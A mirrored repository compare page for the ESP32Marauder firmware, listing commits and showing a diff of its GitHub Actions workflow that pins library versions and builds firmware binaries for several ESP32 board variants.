mirror of
https://github.com/justcallmekoko/ESP32Marauder.git
synced 2025-12-15 17:20:47 -08:00
Compare commits
236 Commits
v0.9.18
...
v0.11.0-RC
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
89d731b10d | ||
|
|
105a23b1f2 | ||
|
|
70b0601713 | ||
|
|
ada170f910 | ||
|
|
dd998ceb07 | ||
|
|
5a885fba83 | ||
|
|
3dfc651689 | ||
|
|
2b9f5c857c | ||
|
|
fa11a04ba5 | ||
|
|
71266ae650 | ||
|
|
81b04db462 | ||
|
|
433c492f4b | ||
|
|
76526c3de6 | ||
|
|
f30d8813f8 | ||
|
|
3f5aecb38b | ||
|
|
eb1aeaa1cb | ||
|
|
61e63aeb59 | ||
|
|
0de13bf86d | ||
|
|
05980c4100 | ||
|
|
f1e4e9e9a1 | ||
|
|
9900109e81 | ||
|
|
68e370ca50 | ||
|
|
28f674c48a | ||
|
|
d6f97091d7 | ||
|
|
f4b8d827c9 | ||
|
|
5f20e18359 | ||
|
|
d7ac61fea1 | ||
|
|
6104aeadd5 | ||
|
|
8f4aa0115e | ||
|
|
11d8e95fb5 | ||
|
|
b34039158a | ||
|
|
304cecfbbd | ||
|
|
bcdc70563a | ||
|
|
0ddc563fe2 | ||
|
|
11faa91373 | ||
|
|
f73fe5fc94 | ||
|
|
1de9dd76c6 | ||
|
|
1917089ecb | ||
|
|
8a7648a72e | ||
|
|
8a7ae55c10 | ||
|
|
92adabb380 | ||
|
|
f00afa1430 | ||
|
|
ae6cf3a472 | ||
|
|
8c3772cf35 | ||
|
|
ee5361bfb3 | ||
|
|
2a34319029 | ||
|
|
6f1db9176a | ||
|
|
2685de86d1 | ||
|
|
a51db0d8ae | ||
|
|
e936cdb22a | ||
|
|
adb38dd620 | ||
|
|
26115b0510 | ||
|
|
76f8ceb63f | ||
|
|
50e99a62e9 | ||
|
|
f854a30ed6 | ||
|
|
ec0cc676ed | ||
|
|
c4fa30b3f8 | ||
|
|
5886bd991d | ||
|
|
a7cf003d84 | ||
|
|
1fca730b00 | ||
|
|
121dfbfa7e | ||
|
|
ea1b54cc91 | ||
|
|
5e77bb664d | ||
|
|
2d2d83e3af | ||
|
|
a0acd10bd7 | ||
|
|
38a8727bfb | ||
|
|
539ebb93a7 | ||
|
|
56de1b698a | ||
|
|
524d4641ed | ||
|
|
df613f3b9b | ||
|
|
810c898c3b | ||
|
|
8bf1402a99 | ||
|
|
9c51a562b8 | ||
|
|
56e87a53ea | ||
|
|
fe5578af80 | ||
|
|
f3349766ed | ||
|
|
355b159128 | ||
|
|
bf0288f493 | ||
|
|
462f248d43 | ||
|
|
3dcce51f18 | ||
|
|
8934160316 | ||
|
|
a98e455fb5 | ||
|
|
ccdb844fc2 | ||
|
|
0b26b2d4d3 | ||
|
|
50eb2b0da6 | ||
|
|
771d03d931 | ||
|
|
4f1611083f | ||
|
|
b5eb343c52 | ||
|
|
e7ba169c04 | ||
|
|
a5b3ce9f0a | ||
|
|
eec6c37732 | ||
|
|
5cfb756051 | ||
|
|
31aa12d4ed | ||
|
|
d7fbf21345 | ||
|
|
e027231a43 | ||
|
|
ed5e6bc787 | ||
|
|
2092b0a462 | ||
|
|
4d269b383b | ||
|
|
0a90e6aedc | ||
|
|
6b4e2952d6 | ||
|
|
a84ee7e58e | ||
|
|
1eeedac84c | ||
|
|
e556309746 | ||
|
|
b21ee85b83 | ||
|
|
f2c1d01d13 | ||
|
|
cbe6d0196b | ||
|
|
6ab706c848 | ||
|
|
999dd77643 | ||
|
|
99210984e4 | ||
|
|
9ae60eeecf | ||
|
|
6ff61f4991 | ||
|
|
f4486ec191 | ||
|
|
ce6a40e554 | ||
|
|
09615832b3 | ||
|
|
0a9fc2a485 | ||
|
|
d555031b54 | ||
|
|
8efa79a407 | ||
|
|
59739b331d | ||
|
|
9f181d73a6 | ||
|
|
37788fe1a9 | ||
|
|
db6d23f3e4 | ||
|
|
6c8e77cba2 | ||
|
|
accd8f5730 | ||
|
|
7661b47a42 | ||
|
|
3e16378993 | ||
|
|
b51df45dec | ||
|
|
93bb2c6a85 | ||
|
|
5da426de99 | ||
|
|
07d5e8787e | ||
|
|
7a6a880cb9 | ||
|
|
1546fad676 | ||
|
|
785545c185 | ||
|
|
3f5bcd106a | ||
|
|
633a38d257 | ||
|
|
f044df2647 | ||
|
|
7eecf35eed | ||
|
|
b8df6e2598 | ||
|
|
e028c39470 | ||
|
|
592b7f68e8 | ||
|
|
99ef926fb7 | ||
|
|
5e9e096631 | ||
|
|
ab5c65f525 | ||
|
|
2b324eaaf2 | ||
|
|
ed41954f5a | ||
|
|
f79e0591df | ||
|
|
59a037925f | ||
|
|
6a6c8d8ff3 | ||
|
|
8c3f1890b2 | ||
|
|
eb69eb1454 | ||
|
|
4e76cfd154 | ||
|
|
752a65570f | ||
|
|
f8379f9e4b | ||
|
|
e7f2060886 | ||
|
|
5103426354 | ||
|
|
4285eefe62 | ||
|
|
02ac34ed3d | ||
|
|
5187c11395 | ||
|
|
169e858752 | ||
|
|
6760d1dc54 | ||
|
|
0fdfeb0f85 | ||
|
|
a30c74f494 | ||
|
|
c62f5a8cd9 | ||
|
|
653f7b6534 | ||
|
|
9b99f3d391 | ||
|
|
385d627a93 | ||
|
|
e7f37e2608 | ||
|
|
c3f5bbc93a | ||
|
|
ae12f5f9a5 | ||
|
|
73ba7747eb | ||
|
|
c76718b21e | ||
|
|
6c6e0aa5c3 | ||
|
|
7d64840128 | ||
|
|
e54e291bfd | ||
|
|
8a204162ae | ||
|
|
a153661457 | ||
|
|
efbeb549ee | ||
|
|
52c44d69c2 | ||
|
|
3375672ab5 | ||
|
|
a7efc0218d | ||
|
|
4bde27ba5c | ||
|
|
d7863ee7d0 | ||
|
|
9132a2891b | ||
|
|
9764d7dd52 | ||
|
|
3ef85f8d68 | ||
|
|
9f6df790aa | ||
|
|
6921c0f41d | ||
|
|
92541eb1f3 | ||
|
|
5543e1b4b1 | ||
|
|
58a8ba971c | ||
|
|
5b515d8767 | ||
|
|
17dc195b0d | ||
|
|
b651def518 | ||
|
|
e0b13fd9b3 | ||
|
|
22c4c7d860 | ||
|
|
9913d058fb | ||
|
|
182c988f3c | ||
|
|
34b2496030 | ||
|
|
74fa39faf3 | ||
|
|
23dc23cceb | ||
|
|
657d37a30a | ||
|
|
94bc2163ac | ||
|
|
9bf54f065b | ||
|
|
0186f0a45c | ||
|
|
2598eae1df | ||
|
|
aa601e1bee | ||
|
|
b136ad20e0 | ||
|
|
3e900e75a9 | ||
|
|
4ae4d62a64 | ||
|
|
fdd9ade442 | ||
|
|
3d58f29231 | ||
|
|
985ac8ac81 | ||
|
|
af389a7aa2 | ||
|
|
5723ca09c0 | ||
|
|
f6c77beeb3 | ||
|
|
0e44b2d4fa | ||
|
|
e52ae0c505 | ||
|
|
bf9f2fee66 | ||
|
|
9f9cbc313d | ||
|
|
e7bdaa5d44 | ||
|
|
157ae7a3c8 | ||
|
|
e456f032a0 | ||
|
|
748123d525 | ||
|
|
58882a4468 | ||
|
|
8024fe8d80 | ||
|
|
fb415a49c3 | ||
|
|
68d3e40966 | ||
|
|
53601dd48a | ||
|
|
84f01dfca8 | ||
|
|
449183a4da | ||
|
|
96a344d214 | ||
|
|
83f61faea6 | ||
|
|
4b3967dd18 | ||
|
|
5a4aedd5a7 | ||
|
|
c3f7b8d455 | ||
|
|
e9f21c5e79 | ||
|
|
15b091fb1e |
324
.github/workflows/build_push.yml
vendored
324
.github/workflows/build_push.yml
vendored
@@ -2,6 +2,8 @@ name: Build and Push
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
pull_request:
|
||||
types: [opened, reopened]
|
||||
|
||||
jobs:
|
||||
# This workflow contains a single job called "build"
|
||||
@@ -14,62 +16,90 @@ jobs:
|
||||
- name: Checkout Code
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Install ESP32 Boards and Compile TestFile
|
||||
uses: ArminJo/arduino-test-compile@v3.2.1
|
||||
with:
|
||||
sketch-names: TestFile.ino
|
||||
arduino-board-fqbn: esp32:esp32:esp32s2
|
||||
platform-url: https://github.com/espressif/arduino-esp32/releases/download/2.0.10/package_esp32_dev_index.json
|
||||
|
||||
- name: Pull arduino-esp32 v2.0.4
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
repository: espressif/arduino-esp32
|
||||
ref: 2.0.4
|
||||
path: 2.0.4arduino-esp32
|
||||
|
||||
|
||||
- name: Pull arduino-esp32 v2.0.10
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
repository: espressif/arduino-esp32
|
||||
ref: 2.0.10
|
||||
path: 2.0.10
|
||||
|
||||
- name: Install AsyncTCP
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
repository: me-no-dev/AsyncTCP
|
||||
ref: master
|
||||
path: CustomAsyncTCP
|
||||
|
||||
- name: Install ESPAsyncWebServer
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
repository: bigbrodude6119/ESPAsyncWebServer
|
||||
ref: master
|
||||
path: CustomESPAsyncWebServer
|
||||
|
||||
- name: Install TFT_eSPI
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
repository: justcallmekoko/TFT_eSPI
|
||||
ref: master
|
||||
path: CustomTFT_eSPI
|
||||
|
||||
|
||||
- name: Install LinkedList
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
repository: ivanseidel/LinkedList
|
||||
ref: master
|
||||
ref: v1.3.1
|
||||
path: CustomLinkedList
|
||||
|
||||
|
||||
- name: Install lv_arduino
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
repository: lvgl/lv_arduino
|
||||
ref: master
|
||||
ref: 3.0.0
|
||||
path: Customlv_arduino
|
||||
|
||||
|
||||
- name: Install JPEGDecoder
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
repository: Bodmer/JPEGDecoder
|
||||
ref: master
|
||||
ref: 1.8.0
|
||||
path: CustomJPEGDecoder
|
||||
|
||||
|
||||
- name: Install NimBLE-Arduino
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
repository: h2zero/NimBLE-Arduino
|
||||
ref: 1.2.0
|
||||
path: CustomNimBLE-Arduino
|
||||
|
||||
|
||||
- name: Install Adafruit_NeoPixel
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
repository: adafruit/Adafruit_NeoPixel
|
||||
ref: master
|
||||
ref: 1.10.7
|
||||
path: CustomAdafruit_NeoPixel
|
||||
|
||||
|
||||
- name: Install ArduinoJson
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
repository: bblanchon/ArduinoJson
|
||||
ref: v6.18.2
|
||||
path: CustomArduinoJson
|
||||
|
||||
|
||||
- name: Install SwitchLib
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
@@ -87,46 +117,92 @@ jobs:
|
||||
cp User_Setup_Select.h CustomTFT_eSPI/
|
||||
cp User_Setup_marauder_mini.h CustomTFT_eSPI/
|
||||
cp User_Setup_og_marauder.h CustomTFT_eSPI/
|
||||
cp User_Setup_marauder_m5stickc.h CustomTFT_eSPI/
|
||||
pwd
|
||||
ls -la
|
||||
ls -la CustomTFT_eSPI
|
||||
|
||||
- name: Install ESP32 Boards and Compile MarauderOTA
|
||||
uses: ArminJo/arduino-test-compile@v3.2.0
|
||||
with:
|
||||
sketch-names: MarauderOTA.ino
|
||||
arduino-board-fqbn: esp32:esp32:esp32s2
|
||||
platform-url: https://github.com/espressif/arduino-esp32/releases/download/2.0.0-rc1/package_esp32_dev_index.json
|
||||
#- name: Place 2.0.10 for use
|
||||
# run: |
|
||||
# mkdir -p /home/runner/.arduino15/packages/esp32/hardware/esp32/
|
||||
# cp -R /home/runner/work/ESP32Marauder/ESP32Marauder/2.0.3 /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.3
|
||||
# ls -la /home/runner/.arduino15/packages/esp32/hardware/esp32/
|
||||
# echo Whoever made me have to do this can fuck off
|
||||
|
||||
- name: Replace SD lib
|
||||
#- name: Replace arduino-esp32 v2.0.10 that was gloriously forced on us
|
||||
# run: |
|
||||
# rm -rf /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.10
|
||||
# cp -R /home/runner/work/ESP32Marauder/ESP32Marauder/2.0.3 /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.3
|
||||
# ls -la /home/runner/.arduino15/packages/esp32/hardware/esp32/
|
||||
# echo Whoever made me have to do this can fuck off
|
||||
|
||||
- name: Search for SD lib in arduino-esp32
|
||||
run: |
|
||||
rm -rf /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.0-rc1/libraries/SD
|
||||
cp -R /home/runner/work/ESP32Marauder/ESP32Marauder/2.0.4arduino-esp32/libraries/SD /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.0-rc1/libraries/SD
|
||||
ls -la /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.0-rc1/libraries/SD
|
||||
find /home/runner/ -name "SD"
|
||||
|
||||
#- name: Replace SD lib
|
||||
# run: |
|
||||
# rm -rf /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.10/libraries/SD
|
||||
# cp -R /home/runner/work/ESP32Marauder/ESP32Marauder/2.0.4arduino-esp32/libraries/SD /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.10/libraries/SD
|
||||
# ls -la /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.10/libraries/SD
|
||||
|
||||
- name: Modify platform.txt
|
||||
run: |
|
||||
echo "Chicken"
|
||||
for i in $(find /home/runner/.arduino15/packages/esp32/hardware/esp32/ -name "platform.txt"); do
|
||||
sed -i 's/compiler.c.elf.libs.esp32c3=/compiler.c.elf.libs.esp32c3=-zmuldefs /' "$i"
|
||||
sed -i 's/compiler.c.elf.libs.esp32s3=/compiler.c.elf.libs.esp32s3=-zmuldefs /' "$i"
|
||||
sed -i 's/compiler.c.elf.libs.esp32s2=/compiler.c.elf.libs.esp32s2=-zmuldefs /' "$i"
|
||||
sed -i 's/compiler.c.elf.libs.esp32=/compiler.c.elf.libs.esp32=-zmuldefs /' "$i"
|
||||
cat "$i" | grep compiler.c.elf.libs.esp32c3
|
||||
cat "$i" | grep compiler.c.elf.libs.esp32s3
|
||||
cat "$i" | grep compiler.c.elf.libs.esp32s2
|
||||
cat "$i" | grep compiler.c.elf.libs.esp32
|
||||
done
|
||||
|
||||
- name: Build Marauder for Flipper Zero WiFi Dev Board
|
||||
uses: ArminJo/arduino-test-compile@v3.2.0
|
||||
uses: ArminJo/arduino-test-compile@v3.2.1
|
||||
with:
|
||||
sketch-names: esp32_marauder.ino
|
||||
arduino-board-fqbn: esp32:esp32:esp32s2:PartitionScheme=min_spiffs,FlashSize=16M,PSRAM=enabled
|
||||
#platform-url: https://github.com/espressif/arduino-esp32/releases/download/2.0.0-rc1/package_esp32_dev_index.json
|
||||
arduino-board-fqbn: esp32:esp32:esp32s2:PartitionScheme=min_spiffs,FlashSize=4M,PSRAM=enabled
|
||||
extra-arduino-cli-args: "--warnings none"
|
||||
#extra-arduino-lib-install-args: "-zmuldefs"
|
||||
|
||||
- name: Rename Marauder Flipper bin
|
||||
run: |
|
||||
mv ./esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.flipper.bin
|
||||
|
||||
- name: Configure SD Serial for Flipper Zero SD Serial
|
||||
run: |
|
||||
pwd
|
||||
sed -i 's/^ \/\/#define WRITE_PACKETS_SERIAL/ #define WRITE_PACKETS_SERIAL/' esp32_marauder/configs.h
|
||||
|
||||
- name: Build Marauder SD Serial for Flipper Zero WiFi Dev Board
|
||||
uses: ArminJo/arduino-test-compile@v3.2.1
|
||||
with:
|
||||
sketch-names: esp32_marauder.ino
|
||||
arduino-board-fqbn: esp32:esp32:esp32s2:PartitionScheme=min_spiffs,FlashSize=4M,PSRAM=enabled
|
||||
extra-arduino-cli-args: "--warnings none"
|
||||
|
||||
- name: Rename Marauder Flipper SD Serial bin
|
||||
run: |
|
||||
mv ./esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.flipper_sd_serial.bin
|
||||
|
||||
- name: Remove SD Serial
|
||||
run: |
|
||||
pwd
|
||||
sed -i 's/^ #define WRITE_PACKETS_SERIAL/ \/\/#define WRITE_PACKETS_SERIAL/' esp32_marauder/configs.h
|
||||
|
||||
- name: Build Marauder for Flipper Zero Multi Board
|
||||
uses: ArminJo/arduino-test-compile@v3.2.1
|
||||
with:
|
||||
sketch-names: esp32_marauder.ino
|
||||
arduino-board-fqbn: esp32:esp32:esp32s3:PartitionScheme=min_spiffs,FlashSize=8M,PSRAM=enabled
|
||||
extra-arduino-cli-args: "--warnings none"
|
||||
|
||||
- name: Rename Marauder Multi Board bin
|
||||
run: |
|
||||
mv ./esp32_marauder/build/esp32.esp32.esp32s3/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.esp32s3/esp32_marauder.multiboardS3.bin
|
||||
|
||||
- name: Configure TFT_eSPI and configs.h for OG Marauder
|
||||
run: |
|
||||
pwd
|
||||
@@ -139,15 +215,15 @@ jobs:
|
||||
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define ESP32_LDDB/ \/\/#define ESP32_LDDB/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
|
||||
|
||||
- name: Build Marauder for OG Marauder
|
||||
uses: ArminJo/arduino-test-compile@v3.2.0
|
||||
uses: ArminJo/arduino-test-compile@v3.2.1
|
||||
with:
|
||||
sketch-names: esp32_marauder.ino
|
||||
arduino-board-fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
|
||||
#platform-url: https://github.com/espressif/arduino-esp32/releases/download/2.0.0-rc1/package_esp32_dev_index.json
|
||||
extra-arduino-cli-args: "--warnings none"
|
||||
#extra-arduino-lib-install-args: "-zmuldefs"
|
||||
|
||||
- name: Rename OG Marauder bin
|
||||
run: |
|
||||
@@ -163,15 +239,15 @@ jobs:
|
||||
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define ESP32_LDDB/ \/\/#define ESP32_LDDB/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
|
||||
|
||||
- name: Build Marauder for v6 Marauder
|
||||
uses: ArminJo/arduino-test-compile@v3.2.0
|
||||
uses: ArminJo/arduino-test-compile@v3.2.1
|
||||
with:
|
||||
sketch-names: esp32_marauder.ino
|
||||
arduino-board-fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
|
||||
#platform-url: https://github.com/espressif/arduino-esp32/releases/download/2.0.0-rc1/package_esp32_dev_index.json
|
||||
extra-arduino-cli-args: "--warnings none"
|
||||
#extra-arduino-lib-install-args: "-zmuldefs"
|
||||
|
||||
- name: Rename v6 Marauder bin
|
||||
run: |
|
||||
@@ -187,15 +263,15 @@ jobs:
|
||||
sed -i 's/^ \/\/#define MARAUDER_KIT/ #define MARAUDER_KIT/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define ESP32_LDDB/ \/\/#define ESP32_LDDB/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
|
||||
|
||||
- name: Build Marauder for Marauder Kit
|
||||
uses: ArminJo/arduino-test-compile@v3.2.0
|
||||
uses: ArminJo/arduino-test-compile@v3.2.1
|
||||
with:
|
||||
sketch-names: esp32_marauder.ino
|
||||
arduino-board-fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
|
||||
#platform-url: https://github.com/espressif/arduino-esp32/releases/download/2.0.0-rc1/package_esp32_dev_index.json
|
||||
extra-arduino-cli-args: "--warnings none"
|
||||
#extra-arduino-lib-install-args: "-zmuldefs"
|
||||
|
||||
- name: Rename Marauder Kit bin
|
||||
run: |
|
||||
@@ -211,19 +287,90 @@ jobs:
|
||||
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define ESP32_LDDB/ \/\/#define ESP32_LDDB/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
|
||||
|
||||
- name: Build Marauder for Marauder Mini
|
||||
uses: ArminJo/arduino-test-compile@v3.2.0
|
||||
uses: ArminJo/arduino-test-compile@v3.2.1
|
||||
with:
|
||||
sketch-names: esp32_marauder.ino
|
||||
arduino-board-fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
|
||||
#platform-url: https://github.com/espressif/arduino-esp32/releases/download/2.0.0-rc1/package_esp32_dev_index.json
|
||||
extra-arduino-cli-args: "--warnings none"
|
||||
#extra-arduino-lib-install-args: "-zmuldefs"
|
||||
|
||||
- name: Rename Marauder Mini bin
|
||||
run: |
|
||||
mv ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.mini.bin
|
||||
|
||||
- name: Configure TFT_eSPI and configs.h for ESP32 LDDB
|
||||
run: |
|
||||
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
||||
sed -i 's/^ \/\/#define ESP32_LDDB/ #define ESP32_LDDB/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
|
||||
|
||||
- name: Build Marauder for ESP32 LDDB
|
||||
uses: ArminJo/arduino-test-compile@v3.2.1
|
||||
with:
|
||||
sketch-names: esp32_marauder.ino
|
||||
arduino-board-fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
|
||||
extra-arduino-cli-args: "--warnings none"
|
||||
|
||||
- name: Rename Marauder ESP32 LDDB bin
|
||||
run: |
|
||||
mv ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.esp32_lddb.bin
|
||||
|
||||
- name: Configure TFT_eSPI and configs.h for Marauder Dev Board Pro
|
||||
run: |
|
||||
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define ESP32_LDDB/ \/\/#define ESP32_LDDB/' esp32_marauder/configs.h
|
||||
sed -i 's/^ \/\/#define MARAUDER_DEV_BOARD_PRO/ #define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
|
||||
|
||||
- name: Build Marauder for Marauder Dev Board Pro
|
||||
uses: ArminJo/arduino-test-compile@v3.2.1
|
||||
with:
|
||||
sketch-names: esp32_marauder.ino
|
||||
arduino-board-fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
|
||||
extra-arduino-cli-args: "--warnings none"
|
||||
|
||||
- name: Rename Marauder for Marauder Dev Board Pro
|
||||
run: |
|
||||
mv ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.marauder_dev_board_pro.bin
|
||||
|
||||
- name: Configure TFT_eSPI and configs.h for Marauder M5StickC
|
||||
run: |
|
||||
pwd
|
||||
find /home/runner/ -name "*TFT_eSPI*"
|
||||
sed -i 's/^#include <User_Setup_marauder_mini.h>/\/\/#include <User_Setup_marauder_mini.h>/' /home/runner/Arduino/libraries/CustomTFT_eSPI/User_Setup_Select.h
|
||||
sed -i 's/^\/\/#include <User_Setup_marauder_m5stickc.h>/#include <User_Setup_marauder_m5stickc.h>/' /home/runner/Arduino/libraries/CustomTFT_eSPI/User_Setup_Select.h
|
||||
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define ESP32_LDDB/ \/\/#define ESP32_LDDB/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
|
||||
sed -i 's/^ \/\/#define MARAUDER_M5STICKC/ #define MARAUDER_M5STICKC/' esp32_marauder/configs.h
|
||||
|
||||
- name: Build Marauder for Marauder M5StickC
|
||||
uses: ArminJo/arduino-test-compile@v3.2.1
|
||||
with:
|
||||
sketch-names: esp32_marauder.ino
|
||||
arduino-board-fqbn: esp32:esp32:m5stick-c:PartitionScheme=min_spiffs
|
||||
extra-arduino-cli-args: "--warnings none"
|
||||
|
||||
- name: Rename Marauder M5StickC bin
|
||||
run: |
|
||||
mv ./esp32_marauder/build/esp32.esp32.m5stick-c/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.m5stick-c/esp32_marauder.m5stickc_plus.bin
|
||||
|
||||
- name: Display finished bins
|
||||
run: |
|
||||
@@ -236,6 +383,20 @@ jobs:
|
||||
path: ./esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.flipper.bin
|
||||
retention-days: 5
|
||||
|
||||
- name: 'Upload Flipper SD Serial Artifact'
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: esp32_marauder.flipper_sd_serial.bin
|
||||
path: ./esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.flipper_sd_serial.bin
|
||||
retention-days: 5
|
||||
|
||||
- name: 'Upload MultiboardS3 Artifact'
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: esp32_marauder.multiboardS3.bin
|
||||
path: ./esp32_marauder/build/esp32.esp32.esp32s3/esp32_marauder.multiboardS3.bin
|
||||
retention-days: 5
|
||||
|
||||
- name: 'Upload OG Artifact'
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
@@ -264,6 +425,27 @@ jobs:
|
||||
path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.mini.bin
|
||||
retention-days: 5
|
||||
|
||||
- name: 'Upload ESP32 LDDB Artifact'
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: esp32_marauder.mini.bin
|
||||
path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.esp32_lddb.bin
|
||||
retention-days: 5
|
||||
|
||||
- name: 'Upload Marauder Dev Board Pro Artifact'
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: esp32_marauder.marauder_dev_board_pro.bin
|
||||
path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.marauder_dev_board_pro.bin
|
||||
retention-days: 5
|
||||
|
||||
